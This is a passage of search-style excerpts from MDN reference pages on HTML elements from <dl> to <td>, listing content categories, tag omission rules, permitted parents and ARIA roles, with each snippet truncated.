n include one name-value group, palpable content. permitted content either: zero or more groups each consisting of one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> elements. or: one or more <div> elements, optionally intermixed with <script> and <template> elements. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles group, list, none, presentation dom interface htmldlistelement attributes this element only includes the global attributes. examples single term and description <dl> <dt>firefox</dt> <...
<dt>: The Description Term element - HTML: Hypertext Markup Language
tive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content, but with no <header>, <footer>, sectioning content or heading content descendants. tag omission must have a
start tag. the end tag may be omitted if this element is immediately followed by another <dt> or a <dd> element, or if there is no more content in the parent element. permitted parents before a <dt> or a <dd> element, inside a <dl> or (in whatwg html) a <div> that is inside a <dl>. implicit aria role term permitted aria roles listitem dom interface htmlel...
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
ended to be used to define new custom dom elements. it was removed in favor of a javascript-driven approach for creating new custom elements. note: this element has been removed from the specification. see this for more information from the editor of the specification. content categories transparent content. permitted content ??? tag omission none, both the
starting and ending tag are mandatory. permitted parent elements ??? dom interface htmlelement attributes this element includes the global attributes. specifications the <element> element was formerly in a draft specification of custom elements but it has been removed. browser compatibility the compatibility table in this page is generated from structured data. if yo...
<em>: The Emphasis element - HTML: Hypertext Markup Language
s. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for this element. attributes this element only includes the global ...
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
browsers have deprecated and removed support for browser plug-ins, so relying upon <embed> is generally not wise if you want your site to be operable on the average user's browser. content categories flow content, phrasing content, embedded content, interactive content, palpable content. permitted content none, it is an empty element. tag omission must have a
start tag, and must not have an end tag. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles application, document, img, none, presentation dom interface htmlembedelement attributes this element's attributes include the global attributes. height the displayed height of the ...
<figcaption>: The Figure Caption element - HTML: Hypertext Markup Language
st of the contents of its parent <figure> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents a <figure> element; the <figcaption> element must be its first or last child. implicit aria role no corresponding role permitted aria roles group, none, presentation dom interface htmlelement attributes this element only includes the global attributes. examples please see the <figure> page...
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
tribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, sectioning root, palpable content. permitted content a <figcaption> element, followed by flow content; or flow content followed by a <figcaption> element; or flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role figure permitted aria roles with no figcaption descendant: any, otherwise no permitted roles dom interface htmlelement attributes this element only includes the global attributes. usage notes usually a <figure> is an image, illust...
<footer> - HTML: Hypertext Markup Language
interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, palpable content. permitted content flow content, but with no <footer> or <header> descendants. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that a <footer> element must not be a descendant of an <address>, <header> or another <footer> element. implicit aria role contentinfo, or no corresponding role if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, mai...
<form> - HTML: Hypertext Markup Language
hub.com/mdn/interactive-examples and send us a pull request. it is possible to use the :valid and :invalid css pseudo-classes to style a <form> element based on whether or not the elements inside the form are valid. content categories flow content, palpable content permitted content flow content, but not containing <form> elements tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content implicit aria role form if the form has an accessible name, otherwise no corresponding role permitted aria roles search, none or presentation dom interface htmlformelement attributes this element includes the global attributes. accept comma-separat...
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
content categories none. permitted content if the document is an <iframe> srcdoc document, or if title information is available from a higher level protocol (like the subject line in html email), zero or more elements of metadata content. otherwise, one or more elements of metadata content where exactly one is a <title> element. tag omission the
start tag may be omitted if the first thing inside the <head> element is an element. the end tag may be omitted if the first thing following the <head> element is not a space character or a comment. permitted parents an <html> element, as its first child. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htm...
<header> - HTML: Hypertext Markup Language
s interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, palpable content. permitted content flow content, but with no <header> or <footer> descendant. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that a <header> element must not be a descendant of an <address>, <footer> or another <header> element. implicit aria role banner, or no corresponding role if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, main, na...
<hgroup> - HTML: Hypertext Markup Language
e example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, heading content, palpable content. permitted content one or more <h1>, <h2>, <h3>, <h4>, <h5>, and/or <h6>. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes the <hgroup> element has been removed from the html5 (w3c) specification, but it stil...
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
ontal rule or line. while it may still be displayed as a horizontal rule in visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate css. content categories flow content. permitted content none, it is an empty element. tag omission it must have
start tag, but must not have an end tag. permitted parents any element that accepts flow content. implicit aria role separator permitted aria roles presentation or none dom interface htmlhrelement attributes this element's attributes include the global attributes. align sets the alignment of the rule on the page. if no value is specified, th...
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
the html <html> element represents the root (top-level element) of an html document, so it is also referred to as the root element. all other elements must be descendants of this element. content categories none. permitted content one <head> element, followed by one <body> element. tag omission the
start tag may be omitted if the first thing inside the <html> element is not a comment. the end tag may be omitted if the <html> element is not immediately followed by a comment. permitted parents none. this is the root element of a document. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlhtmlelement attributes this element includes the global attributes...
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes use the <i> element for text that is set off from the normal prose for readabili...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
te document environment, every <iframe> in a page requires increased memory and other computing resources. while theoretically you can use as many <iframe>s as you like, check for performance problems. content categories flow content, phrasing content, embedded content, interactive content, palpable content. permitted content none. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles application, document, img, none, presentation dom interface htmliframeelement attributes this element includes the global attributes. allow specifies a feature policy for the <iframe...
<input type="checkbox"> - HTML: Hypertext Markup Language
checkbox, a javascript function checks the total number of checked ingredients: if none are checked, the recipe name's checkbox is set to unchecked. if one or two are checked, the recipe name's checkbox is set to indeterminate. if all three are checked, the recipe name's checkbox is set to checked. so in this case the indeterminate state is used to state that collecting the ingredients has
started, but the recipe is not yet complete. var overall = document.queryselector('input[id="enchtbl"]'); var ingredients = document.queryselectorall('ul input'); overall.addeventlistener('click', function(e) { e.preventdefault(); }); for(var i = 0; i < ingredients.length; i++) { ingredients[i].addeventlistener('click', updatedisplay); } function updatedisplay() { var chec...
<input type="file"> - HTML: Hypertext Markup Language
has relatively broad support, it is still not standard and should not be used unless you have no alternative. unique file type specifiers a unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. each unique file type specifier may take one of the following forms: a valid case-insensitive filename extension,
starting with a period (".") character. for example: .jpg, .pdf, or .doc. a valid mime type string, with no extensions. the string audio/* meaning "any audio file". the string video/* meaning "any video file". the string image/* meaning "any image file". the accept attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas. for example, ...
<input type="hidden"> - HTML: Hypertext Markup Language
when it's submitted to the server. let's look at some examples that illustrate its use. tracking edited content one of the most common uses for hidden inputs is to keep track of what database record needs to be updated when an edit form is submitted. a typical workflow looks like this: user decides to edit some content they have control over, such as a blog post, or a product entry. they get
started by pressing the edit button. the content to be edited is taken from the database and loaded into an html form to allow the user to make changes. after editing, the user submits the form, and the updated data is sent back to the server to be updated in the database. the idea here is that during step 2, the id of the record being updated is kept in a hidden input. when the form is submitted i...
<input type="image"> - HTML: Hypertext Markup Language
tted. if specified, the value of the formenctype attribute overrides the owning form's action attribute. this attribute is also available on <input type="submit"> and <button> elements. formmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form. permitted values are: get a url is constructed by
starting with the url given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enctype attribute. this url is then sent to the server using an http get request. this method works well for simple forms that contain only ascii characters and have no side effects. this is the default value. po...
<input type="radio"> - HTML: Hypertext Markup Language
</div> <div> <button type="submit">submit</button> </div> </fieldset> </form> there's not much new to note here except for the addition of <fieldset> and <legend> elements, which help to group the functionality nicely and in a semantic way. ...
<input type="submit"> - HTML: Hypertext Markup Language
itted. if specified, the value of the formenctype attribute overrides the owning form's action attribute. this attribute is also available on <input type="image"> and <button> elements. formmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form. permitted values are: get a url is constructed by
starting with the url given by the formaction or action attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by formenctype or the form's enctype attribute. this url is then sent to the server using an http get request. this method works well for simple forms that contain only ascii characters and have no side effects. this is the default value. po...
<input type="tel"> - HTML: Hypertext Markup Language
ing of phone numbers more convenient. note: browsers that don't support type tel fall back to being a standard text input. value a domstring representing a telephone number, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selection
start, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents a telephone number or is an empty string (""). additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, telephone number inputs supp...
<isindex> - HTML: Hypertext Markup Language
." action="/search"> </head> in past browsers, this would generate, at parse time, a dom tree equivalent to the following html: <form action="/search"> <hr> <label> search document... <input name="isindex"> </label> <hr> </form> history on june 1992, dan connolly would prefer a different anchor type instead of isindex. on november 1992, indexes as links rather than documents
started by dan connolly who is pushing the idea that indexes are more links than documents. in this thread, different type of solutions are proposed. the question of forms for making queries is mentioned in reference to dynatext browser: "the browser displays toggle buttons, text fields etc. the user fills in the fields, clicks ok, and the query results come up in the table of contents window." a thre...
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
lone https://github.com/mdn/interactive-examples and send us a pull request. <kbd> may be nested in various combinations with the <samp> (sample output) element to represent various forms of input or output based on visual cues. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes other elements can be used in tandem with <kbd> to represent more specific scenari...
<keygen> - HTML: Hypertext Markup Language
with other information needed to construct a certificate request, and that the result of the process will be a signed certificate. content categories flow content, phrasing content, interactive content, listed, labelable, submittable, resettable form-associated element, palpable content. permitted content none, it is an empty element. tag omission must have a
start tag and must not have an end tag. permitted parents any element that accepts phrasing content. permitted aria roles none dom interface htmlkeygenelement attributes this element includes the global attributes. autofocus this boolean attribute lets you specify that the control should have input focus when the page loads, unless the user overrides it, ...
<label> - HTML: Hypertext Markup Language
ses the button input. the same applies for the <button> element. technical summary content categories flow content, phrasing content, interactive content, form-associated element, palpable content. permitted content phrasing content, but no descendant label elements. no labelable elements other than the labeled control are allowed. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmllabelelement specifications specification status comment html living standardthe definition of '<label>' in that specificat...
<legend> - HTML: Hypertext Markup Language
t <fieldset>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content phrasing content and headings (h1–h6 elements). tag omission none, both the
starting and ending tag are mandatory. permitted parents a <fieldset> whose first child is this <legend> element implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmllegendelement attributes this element only includes the global attributes. examples see <form> for examples on <legend>. specifications...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
load = function() { // do something interesting; the sheet has been loaded } mystylesheet.onerror = function() { console.log("an error occurred loading the stylesheet!"); } </script> <link rel="stylesheet" href="mystylesheet.css" id="my-stylesheet"> note: the load event fires once the stylesheet and all of its imported content has been loaded and parsed, and immediately before the styles
start being applied to the content. preload examples you can find a number of <link rel="preload"> examples in preloading content with rel="preload". technical summary content categories metadata content. if itemprop is present: flow content and phrasing content. permitted content none, it is an empty element. tag omission as it is a void element, the
start tag ...
<listing> - HTML: Hypertext Markup Language
the html 2 standard recommended that lines shouldn't be broken when not greater than 132 characters. note: do not use this element. it is deprecated since html 3.2 and was neither implemented by all browsers, nor in a consistent way. even more it is obsoleted in html5 and may be rendered by conforming user-agents as the <pre> element, which will interpret the internal html! instead use the <pre> element or if semantically adequate the <code> element, eventually escaping the html '<' and '>' so that they don't get interpreted. ...
<main> - HTML: Hypertext Markup Language
you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. a document mustn't have more than one <main> element that doesn't have the hidden attribute specified. content categories flow content, palpable content. permitted content flow content. tag omission none; both the
starting and ending tags are mandatory. permitted parents where flow content is expected, but only if it is a hierarchically correct main element. implicit aria role main permitted aria roles no role permitted dom interface htmlelement attributes this element only includes the global attributes. usage notes the content of a <main> element should...
<map> - HTML: Hypertext Markup Language
he source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content any transparent element. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmapelement attributes this element includes the global attributes. name the name attribute gives the map a name so that it can be referenced. the a...
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
the width in pixels or percentage value. event handlers onbounce fires when the marquee has reached the end of its scroll position. it can only fire when the behavior attribute is set to alternate. onfinish fires when the marquee has finished the amount of scrolling that is set by the loop attribute. it can only fire when the loop attribute is set to some number that is greater than 0. on
start fires when the marquee
starts scrolling. methods
start()
starts scrolling of the marquee. stop() stops scrolling of the marquee. examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavio...
<menu> - HTML: Hypertext Markup Language
ontent, or alternatively, zero or more occurrences of <li>, <script>, and <template>. (list menu is the default state, unless the parent element is a <menu> in the context menu state.) if the element is in the context menu state: zero or more occurrences, in any order, of <menu> (context menu state only), <menuitem>, <hr>, <script>, and <template>. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar or tree dom interface htmlmenuelement attributes this element includes the global attributes. label the name of...
<menuitem> - HTML: Hypertext Markup Language
defined by a separate element. commands can also optionally include a checkbox or be grouped to share radio buttons. (menu items for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.) content categories none. permitted content none, it is an empty element. tag omission must have a
start tag and must not have an end tag. permitted parents the <menu> element, where that element is in the popup menu state. (if specified, the type attribute of the <menu> element must be popup; if missing, the parent element of the <menu> must itself be a <menu> in the popup menu state.) permitted aria roles none dom interface htmlmenuitemelement attributes ...
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
the html <meta> element represents metadata that cannot be represented by other html meta-related elements, like <base>, <link>, <script>, <style> or <title>. content categories metadata content. if the itemprop attribute is present: flow content, phrasing content. permitted content none, it is an empty element. tag omission as it is a void element, the
start tag must be present and the end tag must not be present. permitted parents <meta charset>, <meta http-equiv>: a <head> element. if the http-equiv is not an encoding declaration, it can also be inside a <noscript> element, itself inside a <head> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmetae...
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, labelable content, palpable content. permitted content phrasing content, but there must be no <meter> element among its descendants. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmeterelement attributes this element includes the global attributes. value the current numeric value. this must be between the minimum and maximum ...
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
es. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, sectioning content, palpable content. permitted content flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role navigation permitted aria roles no role permitted dom interface htmlelement attributes this element only includes the global attributes. usage notes it's not necessary for all links to be contained in a <nav> element. <nav> is int...
<noscript> - HTML: Hypertext Markup Language
descendant of the <head> element: in any order, zero or more <link> elements, zero or more <style> elements, and zero or more <meta> elements. when scripting is disabled and when it isn't a descendant of the <head> element: any transparent content, but no <noscript> element must be among its descendants. otherwise: flow content or phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content, if there are no ancestor <noscript> element, or in a <head> element (but only for an html document), here again if there are no ancestor <noscript> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlel...
<object> - HTML: Hypertext Markup Language
ne https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content; phrasing content; embedded content, palpable content; if the element has a usemap attribute, interactive content; listed, submittable form-associated element. permitted content zero or more <param> elements, then transparent. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles application, document, image dom interface htmlobjectelement attributes this element includes the global attributes. archivehtml 4 onlyobsolete since html5 a space-separated list of u...
<optgroup> - HTML: Hypertext Markup Language
ping of options within a <select> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <option> elements. tag omission the
start tag is mandatory. the end tag is optional if this element is immediately followed by another <optgroup> element, or if the parent element has no more content. permitted parents a <select> element. implicit aria role group permitted aria roles no role permitted dom interface htmloptgroupelement note: optgroup elements may not be nested. attri...
<option>: The HTML Option element - HTML: Hypertext Markup Language
an html document. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content text, possibly with escaped characters (like é). tag omission the
start tag is mandatory. the end tag is optional if this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more content. permitted parents a <select>, an <optgroup> or a <datalist> element. implicit aria role option permitted aria roles no role permitted dom interface htmloptionelement attr...
<output>: The Output element - HTML: Hypertext Markup Language
the html output element (<output>) is a container element into which a site or app can inject the results of a calculation or the outcome of a user action. content categories flow content, phrasing content, listed, labelable, resettable form-associated element, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role status permitted aria roles any dom interface htmloutputelement attributes this element includes the global attributes. for a space-separated list of other elements’ ids, indicating that those elements contributed input values to (or otherwis...
<p>: The Paragraph element - HTML: Hypertext Markup Language
. see “tag omission” below. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, palpable content. permitted content phrasing content. tag omission the
start tag is required. the end tag may be omitted if the <p> element is immediately followed by an <address>, <article>, <aside>, <blockquote>, <div>, <dl>, <fieldset>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hr>, <menu>, <nav>, <ol>, <pre>, <section>, <table>, <ul> or another <p> element, or if there is no more content in the parent element and the parent element is not an <a>...
<picture>: The Picture element - HTML: Hypertext Markup Language
ad. this lets browsers opt for lower-density versions in data-saving modes, and you don't have to write explicit media conditions. content categories flow content, phrasing content, embedded content permitted content zero or more <source> elements, followed by one <img> element, optionally intermixed with script-supporting elements. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that allows embedded content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlpictureelement attributes this element includes only global attributes. usage notes you can use the object-position property to adjust the positioning...
<plaintext>: The Plain Text element (Deprecated) - HTML: Hypertext Markup Language
there is no closing tag, since everything after it is considered raw text. note: do not use this element. <plaintext> is deprecated since html 2, and not all browsers implemented it. browsers that did implement it didn't do so consistently. <plaintext> is obsolete in html5; browsers that accept it may instead treat it as a <pre> element that still interprets html within. if <plaintext> is the first element on the page (other than any non-displayed elements, like <head>), do not use html at all. instead serve a text file with the text/plain mime-type. ...
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
splayed as written. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlpreelement attributes this element only includes the global attributes. cols contains the preferred count of characters that a line should have. it was a non-stan...
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, labelable content, palpable content. permitted content phrasing content, but there must be no <progress> element among its descendants. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role progressbar permitted aria roles no role permitted dom interface htmlprogresselement attributes this element includes the global attributes. max this attribute describes how much work the task indicated by the progress element...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement usage note: most modern browsers will automatically add quotation marks around text inside a <q> element. a style rule may be needed to add quotation ma...
<ruby> - HTML: Hypertext Markup Language
s. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. examples example 1: character <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes you can use a css rule to override the browser's default font face for the <samp> ...
<script>: The Script element - HTML: Hypertext Markup Language
ed executable code or data; this is typically used to embed or refer to javascript code. the <script> element can also be used with other languages, such as webgl's glsl shader programming language and json. content categories metadata content, flow content, phrasing content. permitted content dynamic script such as text/javascript. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts metadata content, or any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlscriptelement attributes this element includes the global attributes. asynchtml5 for classic script...
<section>: The Generic Section element - HTML: Hypertext Markup Language
ap display and its controls don't have specific elements, and could be put inside a <section>. note: if the contents of the element would make sense syndicated as a standalone piece, the <article> element may be a better choice. content categories flow content, sectioning content, palpable content. permitted content flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that a <section> element must not be a descendant of an <address> element. implicit aria role region if the element has an accessible name, otherwise no corresponding role permitted aria roles alert, alertdialog, application, banner, complementary, contentinfo, dialog...
<select>: The HTML Select element - HTML: Hypertext Markup Language
being indented. the "hamster" option includes a disabled attribute and therefore can't be selected at all. technical summary content categories flow content, phrasing content, interactive content, listed, labelable, resettable, and submittable form-associated element permitted content zero or more <option> or <optgroup> elements. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role combobox with no multiple attribute and no size attribute greater than 1, otherwise listbox permitted aria roles menu with no multiple attribute and no size attribute greater than 1, otherwise no role permitted dom interface htmlselectele...
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
the html <shadow> element—an obsolete part of the web components technology suite—was intended to be used as a shadow dom insertion point. you might have used it if you have created multiple shadow roots under a shadow host. it is not useful in ordinary html. content categories transparent content permitted content flow content tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. permitted aria roles none dom interface htmlshadowelement attributes this element includes the global attributes. example here is a simple example of using the <shadow> element. it is an html file with everything needed in it. note: this is an experimental tech...
<slot> - HTML: Hypertext Markup Language
the html <slot> element—part of the web components technology suite—is a placeholder inside a web component that you can fill with your own markup, which lets you create separate dom trees and present them together. content categories flow content, phrasing content permitted content transparent events slotchange tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlslotelement attributes this element includes the global attributes. name the slot's name. a named slot is a <slot> element with a name attribute. exa...
<small>: the side comment element - HTML: Hypertext Markup Language
l to x-small. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content permitted content phrasing content tag omission none, must have both a
start tag and an end tag. permitted parents any element that accepts phrasing content, or any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. examples basic usage <p>this is the first sentence. <small>this...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
e formats and media file formats. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content none, it is an empty element. tag omission it must have a
start tag, but must not have an end tag. permitted parents a media element—<audio> or <video>—and it must be placed before any flow content or <track> element. a <picture> element, and it must be placed before the <img> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlsourceelement ...
<span> - HTML: Hypertext Markup Language
s an inline element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content, or any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlspanelement (before html5, the interface was htmlelement) attributes this element only includes the global attributes. exa...
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
e source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, must have both a
start tag and an end tag. permitted parents any element that accepts phrasing content, or any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes the <strong> element is for content that is of "stron...
<sub>: The Subscript element - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes the <sub> element should be used only for typographical reasons—that is, to chan...
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
of the parent <details> element open and closed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. permitted content phrasing content or one element of heading content tag omission none, both the
start tag and the end tag are mandatory. permitted parents the <details> element. implicit aria role button permitted aria roles no role permitted dom interface htmlelement attributes this element only includes the global attributes. usage notes the <summary> element's contents can be any heading content, plain text, or html that can be used wit...
<sup>: The Superscript element - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes the <sup> element should only be used for typographical reasons—that is, to chan...
<table>: The Table element - HTML: Hypertext Markup Language
permitted parents any element that accepts flow content implicit aria role table permitted aria roles any dom interface htmltableelement attributes this element includes the global attributes. deprecated attributes align this enumerated attribute indicates how the table must be aligned inside the con...
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
